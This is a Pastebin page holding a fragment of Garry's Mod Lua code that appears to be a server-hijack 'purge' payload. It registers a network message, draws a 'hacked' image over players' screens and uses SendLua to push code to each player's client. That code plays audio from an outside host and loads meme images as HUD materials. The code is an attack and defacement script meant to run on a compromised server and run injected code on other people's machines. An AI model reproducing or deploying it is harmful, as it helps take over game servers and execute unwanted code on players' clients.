Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "purge"
- hook.Add( 'HUDPaint', 'test', function()
- if !displayed_shit_gifs then -- i do not want to do this.
- local shit_gif = vgui.Create( 'HTML', frame )
- shit_gif:SetSize( 530, 130 )
- shit_gif:SetPos( ScrW() / 2 - ( shit_gif:GetWide() / 2 ), 50 )
- shit_gif:SetHTML( [[
- <img src='https://loadingscrren.000webhostapp.com/finihacked.png' alt='gif' style='width:493px;height:110px;'>
- ]] )
- end
- end
- --Sequence stack
- --Start some tunes and steam in our assets
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- sound.PlayURL( "https://loadingscrren.000webhostapp.com/The%20Purge%20-%20Announcement.mp3", "", function()end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306624-doritos.png", "doritos", 183, 256 )
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 )
- LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
- LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement